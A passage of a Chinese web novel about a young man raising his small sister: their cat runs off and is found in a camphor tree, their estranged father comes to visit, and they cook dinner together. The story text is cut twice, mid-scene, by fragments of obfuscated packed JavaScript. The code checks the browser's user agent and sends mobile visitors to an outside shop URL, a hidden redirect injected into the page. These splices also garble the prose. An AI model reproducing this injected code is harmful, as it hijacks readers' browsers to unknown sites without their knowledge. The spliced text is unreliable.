“鸟本来就不会欺负你。” “可是万一呢!万一有一只坏鸟,专门欺负小朋友!那橘子就会保护我!” “不会有那种鸟的。” “你怎么知道?” “因为鸟不欺负人。” “可是鸟会拉屎在人的头上!阿姨说的!阿姨说她的朋友被鸟拉过屎!好恶心的!” “……那是意外。” “如果是橘子的话,它会把那只鸟赶走!不让它拉屎在姜牧云头上!” “橘子不会赶鸟的。它是猫,不是保镖。” “它是!它就是姜牧云的保镖!对不对橘子?” 橘子“喵”了一声。 “它说对!”姜牧云骄傲地说。 姜牧野看着这一人一猫,忽然觉得,这个家好像确实需要一只猫。 不是因为猫能做什么。 而是因为—— 姜牧云需要一个可以让她保护的东西。 土豆是袜子,不会动,不会叫,不会回应。但橘子是活的。它会“喵”,会蹭人,会摇尾巴,会表达不满。它给了姜牧云一个机会——一个当“照顾者”的机会。 她总是在被照顾。被哥哥照顾,被阿姨照顾,被妈妈照顾。她很小,但她也想照顾别人。 橘子给了她这个机会。 19. 橘子失踪事件 橘子来到姜家的第三天,出事了。 姜牧云早上醒来,第一件事就是去客厅看橘子。橘子通常睡在沙发角落的猫窝里——那个猫窝是姜牧云用旧毛衣和棉花亲手做的,虽然形状歪歪扭扭的,像一朵被压扁了的蘑菇,但橘子勉强愿意睡在里面。 今天,猫窝是空的。 “橘子?”姜牧云在客厅里找了一圈,没有找到,“橘子!你在哪里!” 没有回应。 “哥哥!!!”她跑进姜牧野的房间,“橘子不见了!!!” 姜牧野从床上坐起来,头发炸成了一个鸟窝——这次比上次更炸,因为他昨晚看剧本看到很晚。 “不见了?” “不见了!猫窝是空的!客厅没有!厨房没有!卫生间没有!哪里都没有!”她的声音已经带上了哭腔,“橘子是不是走了?它是不是不喜欢我们家了?” “别急,我们先找找。” 他们找遍了屋子的每一个角落——沙发底下、床底下、柜子里面、洗衣机里面、冰箱里面(姜牧云坚持要打开冰箱看看,因为“橘子可能觉得热,想进去凉快一下”)。 没有橘子。 “哥哥,橘子会不会从窗户跑出去了?”姜牧云指着客厅的窗户,窗台上有一串浅浅的爪印。 姜牧野走过去看了看——确实是猫的爪印。窗子是开着的,昨晚他忘了关。 橘子跑出去了。 “它走了……”姜牧云的眼泪终于掉了下来,大颗大颗的,顺着脸颊滚落,“它不喜欢我们家……它不喜欢姜牧云……所以它走了……” 她蹲在地上,抱着膝盖,把脸埋在膝盖里,肩膀一抽一抽的。 “姜牧云对它不好吗?姜牧云给它喂饭、给它梳毛、给它做窝……它为什么还要走……” 姜牧野蹲下来,轻轻拍了拍她的背。 “不是你的错。猫有时候会想出去探险,就像土豆上次一样。” “可是土豆回来了!橘子没有回来!” “橘子也会回来的。” “你怎么知道?” “因为……它知道这里有一个人在等它。” “可是它走了!它不要我了!”她抬起头,脸上全是眼泪,鼻子红红的,眼睛肿肿的,“哥哥,橘子不要我了……” 姜牧野看着她哭成一团的小脸,心里像是被人用手攥了一下。 “姜牧云,”他把她抱起来,让她靠在自己肩膀上,“我们去找橘子。” “去哪里找?” “去它可能去的地方。” “它可能去哪里?” “猫喜欢去的地方——有树的地方、有草的地方、有鸟的地方。” “那我们去院子里找!” 她从他身上滑下来,拉着他的手往外跑。 他们找遍了院子里的每一个角落——槐树下面、花丛里面、篱笆旁边、工具房后面。 没有橘子。 “哥哥,它不在这里……”姜牧云的声音越来越小。 “我们去外面找。” 他们走出了院子,沿着家门口的小路往前走。姜牧云一边走一边喊:“橘子!橘子!你在哪里!姜牧云来找你了!你快出来!” 她的声音在早晨的空气中回荡,清脆而急切。 路过一个垃圾桶的时候,她停下来,踮起脚尖往里看。 “橘子会不会在里面找吃的?” “不会。猫不喜欢垃圾桶。” “可是流浪猫会在垃圾桶里找吃的!橘子以前是流浪猫!它可能还保留着流浪的习惯!” “你说的有道理。” 姜牧野把垃圾桶的盖子打开,姜牧云探头往里看—— 没有橘子。只有几袋垃圾。 “橘子不在。”她失望地说。 他们继续往前走。走到一个小花园的时候,姜牧云看到一只橘色的东西在花丛里动了一下。 “橘子!”她冲过去,拨开花丛—— 是一只橘色的塑料袋,被风吹得在花丛里飘动。 “不是橘子……”她的肩膀塌了下来。 她蹲在花丛旁边,低着头,不说话。 姜牧野站在她身后,看着她小小的背影。 “姜牧云,”他说,“我们不会放弃的。” “可是找了这么久都没有找到……” “找东西需要耐心。你上次找土豆的时候,找了多久?” “好久好久……” “最后找到了吗?” “找到了!土豆在电视柜下面!” “对。所以橘子也会找到的。” “可是土豆没有跑出去!橘子跑出去了!外面好大!好多地方!它可能去了很远很远的地方!” “不会很远的。猫不会离开自己的领地太远。” “领地是什么?” “就是猫觉得是自己的地盘的地方。我们家附近就是橘子的地盘,它不会跑出这个范围的。” “真的吗?” “真的。” “你怎么知道?” “因为我是大人。” “大人什么都知道吗?” “不是什么都知道,但这件事我知道。” 姜牧云看着他,眼泪还挂在脸上,但眼睛里已经有了一点光。 “那你说,橘子在哪里?” “我们继续找。” 他们沿着小路一直走,走到了小区后面的小公园。公园不大,有一片草坪、几棵大树、一个滑梯和一个沙坑。早晨的公园很安静,只有几个老人在打太极。 “橘子——”姜牧云喊了一声。 “喵。” 一个微弱的声音从树上传来。 姜牧云猛地抬起头。 大樟树的树枝上,蹲着一只橘色的猫,正是橘子。 它的毛有点乱,脸上沾了一点泥,看起来像是在外面过了一夜。但它蹲在那里,尾巴垂下来,摇啊摇的,神态悠闲得好像在说:“哦,你们来了。” “橘子!!!”姜牧云冲到树下,仰着头大喊,“你下来!你快下来!” 橘子看了她一眼,没有动。 “它不下来!”姜牧云急得跺脚,“哥哥,橘子不听话!” “它在树上,下不来。” “为什么下不来?猫不是会爬树吗?” “猫会爬上去,但不一定会爬下来。爬下来比爬上去难。” “那怎么办?橘子会不会一直在树上?” “不会的。我上去把它抱下来。” 姜牧野把外套脱了,递给姜牧云,然后抱住树干,开始往上爬。大樟树的树干很粗,但枝杈很多,爬起来不算太难。他三两下就爬到了橘子蹲着的那根树枝旁边。 橘子看着他,没有躲,也没有跑。它只是歪了歪头,好像在说:“你来得有点慢。” 姜牧野伸出手,轻轻地把橘子抱起来。橘子没有挣扎,反而往他怀里缩了缩,好像在外面待了一夜,终于找到了一个暖和的地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437546|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “下来吧。”他抱着橘子,小心地往下爬。 “哥哥小心!!!”姜牧云在下面喊,声音紧张得像在看一场杂技表演,“不要摔下来!姜牧云不要橘子了!你下来就好!橘子不要了!你快下来!” “你不是要找橘子吗?” “找橘子没有哥哥重要!哥哥不要爬了!姜牧云不要橘子了!” 姜牧野从树上跳下来,稳稳地落在地上。橘子在他怀里“喵”了一声,好像觉得刚才的降落不够刺激。 “哥哥!!!”姜牧云扑过来,抱住他的腿,把脸埋在他的膝盖上,“你吓死姜牧云了!你以后不要爬那么高了!好危险!” “没事,不高。” “高!比姜牧云高很多很多!比房子还高!” “房子比我高。” “你比房子高!因为你在姜牧云心里最高!” 姜牧野看着扑在自己腿上的小团子,嘴角弯了一下。 “给你,橘子。”他把橘子递给她。 姜牧云接过橘子,紧紧地抱在怀里。橘子被她抱得有点紧,不舒服地扭了扭,但这次没有挣扎——大概也知道自己理亏。 “橘子!你为什么要跑出去!你知不知道姜牧云好担心!姜牧云哭了!哭了好久!你看我的眼睛!都哭红了!”她指着自己红红的眼睛,声音又委屈又生气,“你以后不要再跑了!外面好危险!有大狗!有坏小孩!有车车!你万一被车车撞了怎么办!姜牧云就没有橘子了!” 橘子“喵”了一声。 “你说‘对不起’?你知道错了?”姜牧云自动翻译,“那姜牧云原谅你了。但是你要保证!以后再也不跑了!” 橘子又“喵”了一声。 “它说‘我保证’!”姜牧云满意地点了点头,“拉钩!” 她伸出小拇指,勾住了橘子的爪子。橘子的爪子比她的手小多了,毛茸茸的,指甲藏在肉垫里,软软的。 “拉钩上吊,一百年不许变!盖章!” 她用力地在橘子的爪子上盖了个章。 橘子一脸“这是什么鬼”的表情。 但它没有缩回爪子。 “哥哥你看!橘子跟我拉钩了!它以后不会跑了!”她抱着橘子,笑得像一朵被太阳晒开了的花,“橘子你饿不饿?你一晚上没吃东西,一定好饿!我们回家吃饭!姜牧云给你做鸡胸肉!切得小小的!你上次说好吃的!” 她抱着橘子,转身就往家的方向跑。跑了两步,又停下来,回头看着姜牧野。 “哥哥,你怎么不走?” “你先走,我系个鞋带。” “好!你快一点!鸡胸肉在冰箱里等我们!” 她跑远了。两个小揪揪在晨光中一晃一晃的,像两只快乐的小蝴蝶。 姜牧野蹲下来,系鞋带。 系完之后,他没有立刻站起来。他蹲在那里,看着姜牧云跑远的背影,嘴角弯了很久。 他想,今天早上他学会了一件事—— 在姜牧云心里,橘子的分量很重。 但哥哥的分量更重。 重到她可以说出“姜牧云不要橘子了”这种话。 这对一个三岁半的小孩来说,是一个很大的选择。 她选了哥哥。 不是因为她不爱橘子。 是因为她太爱哥哥了。 姜牧野站起来,拍了拍膝盖上的灰,朝着那个小小的背影走去。 阳光铺满了整条小路,把两个人的影子拉得很长很长。 20. 爸爸来了 姜牧野接到了一个电话。 他看了一眼来电显示,表情变了。 不是那种“哦,是经纪人”的表情,也不是那种“又是骚扰电话”的表情,而是一种更复杂的、说不清是冷还是暖的表情。 “喂。” 电话那头传来一个男人的声音,低沉,沙哑,带着一种小心翼翼的试探:“牧野,是我。” “我知道。” “我……下周有空,想去看看云云。方便吗?” 姜牧野沉默了三秒。 “她不一定想见你。” “我知道。所以我先问问你。如果她不想见,我就不去了。我不勉强。” 姜牧野又沉默了三秒。 “周六下午。她午睡醒了之后。一个小时。” “好。一个小时。够了。” 电话挂了。 姜牧野站在窗前,看着院子里的槐树。阳光很好,风很轻,一切都很安静。但他的眉头微微皱着,像是在想一件很难的事情。 周六下午,姜牧云午睡醒了之后,姜牧野给她换了一条干净的小裙子——白色的,上面印着蓝色的小花。他给她扎了两个小揪揪,扎得很整齐,左右对称,高度一致。 “哥哥,我们今天要去哪里呀?”姜牧云坐在沙发上,抱着橘子,好奇地问。 “不去哪里。有人来看你。” “谁呀?” “你见了就知道。” “是孙叔叔吗?还是苏瑶阿姨?还是恬恬?恬恬要来吗?” “不是。” “那是谁呀?” 姜牧野看着她期待的脸,犹豫了一下。 “爸爸。” 姜牧云的表情凝固了。 橘子在她怀里“喵”了一声,好像在问:“你怎么了?” 姜牧云没有回答。 她低下头,看着橘子,手指在橘子的背上轻轻地、慢慢地摸着。一下,两下,三下。她摸得很慢,像是在用这个动作消化刚才听到的信息。 “爸爸?”她重复了一遍,声音很小。 “嗯。” “就是那个……很久很久没有来看姜牧云的爸爸?” “嗯。” “他为什么要来?” “因为他想你了。” “他为什么现在才想我?以前为什么不想?” 姜牧野走过去,蹲在她面前。 “他一直在想。只是……” “只是什么?” “只是他不知道怎么来。” “不知道路吗?姜牧云知道路!姜牧云可以告诉他!” “不是路的问题。” “那是什么问题?” 姜牧野看着她那双清澈的、什么都不懂、但又好像什么都懂的眼睛,忽然觉得,有些话很难说出口。 “是他自己的问题。”他最终说。 姜牧云歪着头想了想,然后说:“那他现在把问题解决了吗?” “……也许。” “那他以后还会不会不见?” “我不知道。” “那姜牧云要不要原谅他?” “这不是原谅不原谅的问题。他是你爸爸。你不需要原谅他,你只需要……见见他。” “哥哥你见他吗?” “我见他。” “那姜牧云也见。”她把橘子放在沙发上,站起来,拉住姜牧野的手,“哥哥在哪里,姜牧云就在哪里。” 门铃响了。 姜牧云的手收紧了一点。 姜牧野感觉到她小小的手指攥着自己的手,攥得很紧。他低头看了她一眼——她没有害怕,没有紧张,只是很认真地盯着那扇门,好像在等一个答案。 姜牧野打开门。 门口站着一个男人。 他很高,比姜牧野矮一点点,但骨架很大,肩膀很宽。他的头发有点白,不是全白,是那种从鬓角开始慢慢蔓延的白。他的脸上有皱纹,眼角、额头、嘴角,每一道皱纹都像是被时间刻上去的。他的眼睛跟姜牧野很像,深邃的、棕色的,但比姜牧野的眼睛多了一些东西——一些姜牧野还没有的东西。 疲惫。愧疚。还有很深很深的、藏在最底层的、不敢轻易拿出来的温柔。 他穿着一件深蓝色的夹克,手里提着一个袋子,袋子里装着一个粉色的盒子。 “云云。”他说,声音有点哑。 姜牧云看着他,没有说话。 她看了他很久,久到空气都变得安静了。 然后她说:“你的头发白了。” 姜爸爸愣了一下,然后笑了。那个笑容有点涩,像一颗还没熟的柿子。 “对,白了。” “你以前没有白。” “对,以前没有。” “你老了。” “对,老了。” 姜牧云想了想,又说:“哥哥没有老。” “对,哥哥还年轻。” “哥哥每天都陪姜牧云。你为什么不陪?” 姜爸爸的笑容凝固了。他张了张嘴,想说什么,但什么都没说出来。 姜牧野在旁边没有说话。这是姜牧云和爸爸之间的事,他不能替她说。 “我……”姜爸爸低下头,看着手里的袋子,“我带了礼物。你要不要看看?” 姜牧云看了看那个粉色的盒子,又看了看姜爸爸的脸,又看了看姜牧野。 姜牧野轻轻点了点头。 “好吧。”她松开姜牧野的手,走到姜爸爸面前,接过盒子。 盒子很轻。她打开盖子—— 里面是一条小裙子。粉色的,上面印着草莓和兔子。裙摆上缝着一圈小珍珠,在阳光下闪闪发光。 “好漂亮……”她的眼睛亮了,但很快又暗了下去,“可是姜牧云的裙子已经很多了。哥哥买了好多。” “我知道。但是这条是爸爸挑的。我挑了很久。” 姜牧云把裙子从盒子里拿出来,展开,放在身上比了比。裙子有点大,裙摆拖到了地上。 “太大了。”她说。 “你长大了就可以穿。” “那要等多久?” “也许一年,也许两年。” “好久。” “爸爸可以等。” 姜牧云抬起头,看着他。 “你等过姜牧云吗?” 姜爸爸的眼眶红了。 “等过。每天都在等。” “等什么?” “等你长大。” “可是姜牧云长大了你也没来呀。” 眼泪从姜爸爸的眼角滑了下来。他没有擦,让它顺着脸颊流下去,滴在衣领上。 “对不起。”他说。 姜牧云看着他的眼泪,沉默了一会儿。 然后她把裙子叠好,放回盒子里,盖上盖子。 “姜牧云原谅你了。”她说。 姜爸爸愣住了。 “你……你原谅我了?” “嗯。”她点了点头,“因为哥哥说,你是姜牧云的爸爸。爸爸就是爸爸。不管来不来,都是爸爸。” 她顿了顿,又说:“但是你要答应姜牧云,以后不要再不见了。姜牧云不喜欢等人。等人好累。” “好,”姜爸爸的声音在发抖,“我答应你。” “那你以后要来看姜牧云。不用经常来,但是要来。不能像以前一样,好久好久都不来。” “好。” “还有,你下次来的时候,要给哥哥也带礼物。哥哥很辛苦的。他照顾姜牧云很辛苦。你要谢谢他。” 姜爸爸看向姜牧野。 姜牧野站在旁边,表情淡淡的,但眼眶微微发红。 “牧野,”姜爸爸说,“谢谢你。” 姜牧野没有回答。他只是微微点了一下头。 姜牧云把盒子抱在怀里,走到姜牧野身边,拉住他的手。 “哥哥,姜牧云可以穿这条裙子吗?虽然有点大,但是可以卷起来!” “可以。” “那姜牧云去换!”她抱着盒子跑进了卧室,跑了两步又停下来,回头对姜爸爸说,“你不要走!姜牧云换了裙子出来要给你看的!” “我不走。”姜爸爸说。 “你保证?” “我保证。” 姜牧云满意地点了点头,跑进了卧室。 客厅里只剩下姜牧野和姜爸爸。 两个人站在客厅两端,中间隔着茶几和沙发,像隔了一条河。 “她很像你。”姜爸爸说。 “像妈妈。” “像你们俩。像你的眼睛,像她的嘴巴。像你的性格,像她的说话方式。” 姜牧野没有说话。 “牧野,”姜爸爸的声音很轻,“我对不起你。” “你没有对不起我。” “我让你一个人扛了太多。” “我扛得住。” “我知道你扛得住。你不应该扛的。” 姜牧野看向窗外,阳光照在他的侧脸上,把他的轮廓勾勒得很清晰。 “她是我的妹妹,”他说,“我扛她是应该的。” 姜爸爸张了张嘴,又闭上了。 他有很多话想说,但他说不出口。他不是一个会说话的人。如果他是一个会说话的人,也许很多事情不会变成这样。 卧室的门开了。 姜牧云走了出来。 她换上了那条新裙子。裙子确实太大了,领口滑到了肩膀下面,裙摆拖在地上,像一条小型的婚纱。她用手提着裙摆,一步一步地走出来,走得很慢,很小心,像一个正在走红毯的小公主。 “哥哥,好看吗?”她转了一圈,裙摆飞起来,像一朵盛开的粉色花。 “好看。”姜牧野说。 “爸爸,好看吗?” 姜爸爸看着她,眼泪又流了下来。 “好看。”他说,声音碎成了好几片,“云云穿什么都好看。” “那姜牧云以后就穿这条裙子了!每天都穿!” “每天穿会脏的。”姜牧野说。 “脏了可以洗!” “洗多了会褪色。” “褪色了也是裙子!裙子就是裙子!不管什么颜色都是裙子!” 她走到姜爸爸面前,仰头看着他。 “爸爸,你哭了。” “嗯。” “你哭什么?” “开心。” “开心为什么要哭?” “因为……太开心了。” 姜牧云歪着头想了想,好像不太理解“开心到哭”是一种什么感觉。但她没有追问。她伸出小手,抓住了姜爸爸的手指。 “爸爸,你的手好大。” “嗯。” “比哥哥的手还大?” “没有。哥哥的手比我大。” “可是你的手指好粗。像香肠。” 姜爸爸忍不住笑了,眼泪和笑容混在一起,让他的脸看起来很滑稽。 “对,像香肠。” “那姜牧云的手指像什么?” “像……小豆芽。” “小豆芽?”姜牧云看了看自己的手指,皱起眉头,“小豆芽好细!姜牧云的手指才不细!姜牧云的手指很有力气的!可以拧开瓶盖!” “那你拧一个。” “哥哥!把矿泉水拿来!姜牧云要拧给爸爸看!” 姜牧野拿了一瓶矿泉水递给她。姜牧云双手握住瓶盖,用力地拧——小脸涨得通红,牙齿咬得紧紧的,两个小揪揪因为用力而颤抖。 瓶盖纹丝不动。 “这个瓶子太紧了!”她喘着气说,“不是姜牧云没力气!是瓶子的错!” “对,瓶子的错。”姜爸爸说。 “爸爸你帮姜牧云拧!” 姜爸爸接过瓶子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唔……”姜牧云想了想,“多笑!笑会让人变年轻!阿姨说的!阿姨说‘笑一笑,十年少’!” “十年少是什么意思?” “就是……笑一下,就年轻十岁!” “那笑两下呢?” “年轻二十岁!” “笑三下呢?” “年轻三十岁!爸爸你就比我哥哥还年轻了!” “那爸爸要多笑。”姜爸爸笑了,这次笑得比刚才大了一点。 “一下!两下!三下!”姜牧云帮他数,“爸爸你现在年轻了三十岁!比我哥哥还小!” “那我现在几岁?” “三岁!比姜牧云还小!姜牧云要叫你弟弟了!” “那不行,我还是你爸爸。” “可是你年轻了三十岁呀!年轻了三十岁就不是爸爸了!是小孩子!小孩子要叫姜牧云姐姐!” “我还是你爸爸。” “不是了!你现在三岁!三岁的小孩子不能当爸爸!” “那谁当爸爸?” “哥哥当爸爸!哥哥是大人!大人可以当爸爸!” 姜牧野在旁边终于忍不住了:“姜牧云,别闹。” “姜牧云没有闹!姜牧云在算数学!三岁的小孩子不能当爸爸!这是对的!对不对哥哥?” “……对。” “所以爸爸现在不是爸爸了!他是三岁的小孩子!要叫姜牧云姐姐!” “我不叫。”姜爸爸说。 “那你就不要笑那么多!笑两下就够了!笑两下年轻二十岁,你变成十三岁!十三岁可以当爸爸吗?” “不可以。十三岁还是小孩。” “那笑一下!笑一下年轻十岁,你变成二十三岁!二十三岁可以当爸爸吗?” “二十三岁可以。” “好!那爸爸你以后每天只能笑一下!笑多了你就变小了!” “好,爸爸记住了。” 姜爸爸说完,又笑了。 一下。 但这一下笑了很久。 久到姜牧云数了五秒钟才结束。 “爸爸你这一下笑太久了!笑一下是‘哈’,不是‘哈哈哈哈哈’!” “‘哈’和‘哈哈哈’有什么区别?” “‘哈’是短的,‘哈哈哈’是长的!短的年轻十岁,长的年轻好多岁!你刚才笑了五秒,年轻了五十岁!你现在是负二十七岁!还没出生!” “那怎么办?” “那你下次不要笑那么久!要笑短一点!像哥哥一样!哥哥笑得好短!只有零点几秒!所以哥哥永远是二十三岁!” “哥哥的笑不是零点几秒,是一毫米。”姜牧野说。 “笑不能用毫米量!” “那用什么?” “用秒!一秒、两秒、三秒!姜牧云的笑是十秒!因为姜牧云开心的事情好多好多!可以笑好久好久!” “那你现在在笑吗?” “在呀!”她确实在笑,从刚才到现在,她的嘴角一直是弯着的,“姜牧云的笑停不下来!因为爸爸来了!姜牧云好开心!” 姜爸爸看着女儿的笑脸,忽然觉得,他这辈子做过的最正确的事情,不是工作上的任何成就,不是赚到的任何钱,而是——在二十三年前,生下了姜牧野。在四年前,生下了姜牧云。 虽然他不是一个好父亲。虽然他缺席了很多年。虽然他不是一个会说话的人。 但他的孩子们,还是长大了。 还是笑得出来。 还是愿意叫他“爸爸”。 21.晚饭 姜爸爸待了一个小时。 但姜牧云不让他走。 “你说了要留下来吃晚饭的!”她挡在门口,张开双臂,像一个守门的小卫士。 “我说了要留下来吃晚饭吗?”姜爸爸回头看姜牧野。 姜牧野面无表情地说:“你说了。” 姜爸爸想了想,好像确实说了。在被姜牧云的“数学题”绕晕了之后,他好像确实点了头。 “好吧,那就吃晚饭。” “耶!”姜牧云蹦了起来,“哥哥!爸爸要留下来吃晚饭!我们做什么?” “你想做什么?” “做三明治!姜牧云做的三明治最好吃!” “三明治当晚饭不够。” “那做煎饼!” “煎饼也不够。” “那做蛋糕!” “蛋糕更不够。” “那做什么才够?” “做菜。米饭配菜。” “可是哥哥你不会做菜!你只会煮泡面!” “我可以学。” “你学了就会吗?” “试试。” “那姜牧云帮你!姜牧云会切鸡肉!橘子说的!” 橘子正蹲在沙发上舔爪子,听到自己的名字,抬起头“喵”了一声。 “它说‘对,姜牧云切鸡肉很厉害’!”姜牧云翻译。 姜爸爸看着女儿跟猫对话的样子,忍不住笑了——但想起“只能笑一下”的约定,赶紧把笑容收了回去。 “爸爸你笑了!一下!今天的一下用完了!你不能再笑了!” “好,不笑了。”姜爸爸努力板起脸,但嘴角还是忍不住微微上扬。 “爸爸你还在笑!” “没有,我这是嘴角抽筋。” “抽筋不是这样的!抽筋会很疼!你疼吗?” “不疼。” “那你就不是抽筋!你是在笑!你骗人!” “我没有骗人。” “你骗了!因为你的眼睛在笑!嘴巴可以不笑,但眼睛会笑!哥哥就是这样!哥哥嘴巴不笑的时候,眼睛在笑!姜牧云看眼睛就知道哥哥有没有笑!” 姜爸爸看向姜牧野。姜牧野面无表情地站在厨房门口,但他的眼睛——确实在笑。很轻很淡,像远处山尖上的一抹光。 “云云说得对,”姜爸爸说,“你哥哥的眼睛在笑。” “对吧!”姜牧云骄傲地挺起胸膛,“姜牧云最会看眼睛了!因为哥哥不经常笑嘴巴,只经常笑眼睛!姜牧云练出来了!” “你练了多久?” “好久好久!从姜牧云很小的时候就开始练了!因为那时候哥哥还不经常回家,回来了也不怎么说话,就坐在那里看剧本。姜牧云就坐在旁边看他。他看着剧本,姜牧云看着他。他看着看着,眼睛就会笑一下。姜牧云就想——哥哥为什么眼睛在笑?剧本里有什么好笑的东西吗?” 她走到姜牧野身边,仰头看着他的眼睛。 “后来姜牧云知道了。哥哥不是在笑剧本。哥哥是在笑姜牧云。因为姜牧云坐在他旁边,他开心了,所以眼睛笑了。” 姜牧野低头看着她,没有说话。 但他的眼睛在笑。 姜牧云看到了。 “爸爸你看!哥哥的眼睛在笑!现在!就在现在!” 姜爸爸看到了。 那双跟他很像的、棕色的、深邃的眼睛里,有一种光。不是灯光,不是阳光,是那种从很深很深的地方透出来的、温暖的、柔软的光。 那是他很少在儿子脸上看到的东西。 不是因为没有。是因为藏得太深了。 但在姜牧云面前,藏不住。 “牧野,”姜爸爸说,“你有一个很好的妹妹。” 姜牧野点了点头。 “姜牧云有一个很好的哥哥!”姜牧云接话,然后拉着姜牧野的手往厨房走,“走吧哥哥!做饭!爸爸你坐在沙发上等!不要进来!厨房是姜牧云和哥哥的地盘!你不能进来!” “为什么不能?” “因为你是客人!客人不需要做饭!” “我是你爸爸,不是客人。” “你今天就是客人!因为你不常来!不常来的人就是客人!常来的人才是家人!” “那我以后常来,是不是就变成家人了?” “你本来就是家人!但是你常来的话,就会变成——变成——更好的家人!” “更好的家人是什么?” “就是……就是那种不用敲门就可以进来的家人!” “我现在也敲门了。” “对呀!所以你不是更好的家人!更好的家人不敲门!直接进来!” “那万一家里没人呢?” “家里永远有人!因为哥哥和姜牧云住在这里!橘子也住在这里!土豆也住在这里!永远有人!” “那我下次不敲门了。” “好!你直接进来!但是你要先喊一声‘姜牧云,爸爸来了’!不然姜牧云会吓一跳!” “好,先喊一声。” “喊大声一点!姜牧云的耳朵有时候会关掉!因为吃东西的时候耳朵会关掉!” “好,大声喊。” “拉钩!” 姜爸爸伸出手,跟她拉了钩。他的手指很粗,姜牧云的小拇指勾上去,像是钩住了一根小木棍。 “拉钩上吊,一百年不许变!盖章!” 姜牧云用力地盖了个章,然后转身跑进了厨房。 “哥哥!爸爸跟我们拉钩了!他以后会常来的!” 姜牧野正在冰箱里翻食材,听到这句话,动作停了一下。 “嗯。”他说。 “哥哥你不高兴吗?” “高兴。” “那你为什么眼睛没有笑?” 姜牧野转过头,看着姜牧云。 “笑了。”他说。 姜牧云盯着他的眼睛看了三秒钟。 “嗯,笑了。很小,但是笑了。” 她满意地点了点头,然后踮起脚尖看冰箱里的东西。 “哥哥,我们做什么?” “你想吃什么?” “想吃……草莓!” “草莓不是晚饭。” “那草莓配米饭!” “不行。” “那草莓炒鸡蛋!” “没有这种菜。” “那草莓煮汤!” “……姜牧云,草莓是水果,不能当饭吃。” “可是草莓好吃呀!好吃的东西就应该当饭吃!” “那冰淇淋也可以当饭吃了?” “对呀!冰淇淋是奶做的!奶有营养!所以冰淇淋也有营养!可以当饭吃!” 姜牧野深吸一口气。 “我们今天不做草莓的菜。做正常的菜。” “正常的菜是什么?” “西红柿炒鸡蛋。” “西红柿是红色的!草莓也是红色的!差不多!” “差很多。” “哪里差?” “味道不一样。” “可是颜色一样呀!颜色一样的东西味道应该差不多!草莓是甜的,西红柿也是甜的!” “西红柿不是甜的,是酸的。” “那西红柿炒鸡蛋是酸的?” “酸甜的。” “那草莓也是酸甜的!所以差不多!” 姜牧野决定不再跟她争论。他从冰箱里拿出西红柿、鸡蛋、黄瓜、瘦肉,又拿出了一小块姜。 “哥哥,那个是什么?”姜牧云指着姜。 “姜。” “姜?跟姜牧云的姜是一个姜吗?” “同一个字。” “姜牧云的姜可以吃吗?” “可以,但不是你。是这种植物。” “那姜牧云是什么做的?” “肉和骨头。” “不是姜做的?” “不是。” “好可惜。如果姜牧云是姜做的,那姜牧云就可以被吃掉,然后永远住在哥哥的肚子里。” “我不想让你住在我肚子里。” “为什么?” “因为肚子里不舒服。” “那住哪里?” “住在你该住的地方。” “该住的地方是哪里?” “在这个家里。” “那哥哥你住哪里?” “也住在这个家里。” “那我们住在一起!永远!” “嗯。” “拉——不对,不拉了。说好了。” “嗯,说好了。” 姜牧云满意地笑了,然后搬了一把小椅子,站在上面,开始帮忙洗西红柿。她洗得很认真,每一个西红柿都要搓三遍,搓完了还要举起来对着灯光看一看,检查有没有没洗干净的的地方。 “哥哥,这个西红柿上面有一个小疤!” “那把它挑出来,不用了。” “不要!有小疤的西红柿也是西红柿!不能因为它不好看就不要它!” “那你用它。” “好!姜牧云用它!姜牧云不嫌弃它!因为它虽然不好看,但是好吃!对不对小西红柿?” 她对着那个有疤的西红柿说话,表情温柔得像在安慰一个受伤的小朋友。 “没关系,你的疤会好的。就算不好也没关系。姜牧云也有疤。你看!”她伸出胳膊,指着胳膊上一个小小的、几乎看不到的旧疤痕,“这个是姜牧云上次摔的!现在已经好了!但是还有一点点痕迹!哥哥说这个叫‘记忆’!你的疤也是记忆!是你长大的记忆!” 她说完,把西红柿放在案板上,拿起塑料小刀,开始切。 她切得很慢,每一刀都小心翼翼。西红柿被她切成了大小不一的块——有的大得像拳头,有的小得像葡萄。 “哥哥,姜牧云切好了!” “切得很好。” “真的吗?” “真的。” “比上次好?” “比上次好很多。” “因为姜牧云每天都在进步!”她骄傲地说,“再过几天,姜牧云就可以切出一样大的块块了!” “不用一样大也可以。” “可是一样大比较好看!” “好吃比较重要。” “那姜牧云切的好吃吗?” “好吃。因为你切的时候很用心。” 姜牧云笑了,笑得眼睛弯成月牙,笑得露出了四颗小米粒一样的牙齿。 “因为里面有姜牧云的爱!”她说,“爱会让西红柿变甜!虽然西红柿是酸的!但是有爱就会变甜!” “那会不会又酸又甜?” “对!又酸又甜最好吃!因为生活就是又酸又甜!” 姜牧野看着她,忽然觉得,这个三岁半的小孩,可能真的懂得一些大人不懂的东西。 比如——生活本来就是又酸又甜的。酸的来了,甜的也会来。甜的走了,酸的还会来。但不管来的是什么,只要有人在旁边陪着,就不怕。 “哥哥,你在想什么?” “在想你说的话。” “哪句?” “生活就是又酸又甜。” “这句话对吗?” “对。” “那姜牧云是酸的还是甜的?” “甜的。” “哥哥呢?” “不知道。” “哥哥是酸的!因为哥哥总是不笑!不笑的人就是酸的!”她伸手戳了戳他的脸颊,“但是哥哥的心里是甜的!因为哥哥对姜牧云好!对别人酸没关系,对姜牧云甜就行了!” “我对别人不酸。” “你对别人冷!冷就是酸!酸就是冷!差不多!” “冷和酸不一样。” “一样的!冰箱里又冷又酸!因为冰箱里有泡菜!泡菜是酸的!冰箱是冷的!所以冷和酸是一起的!” 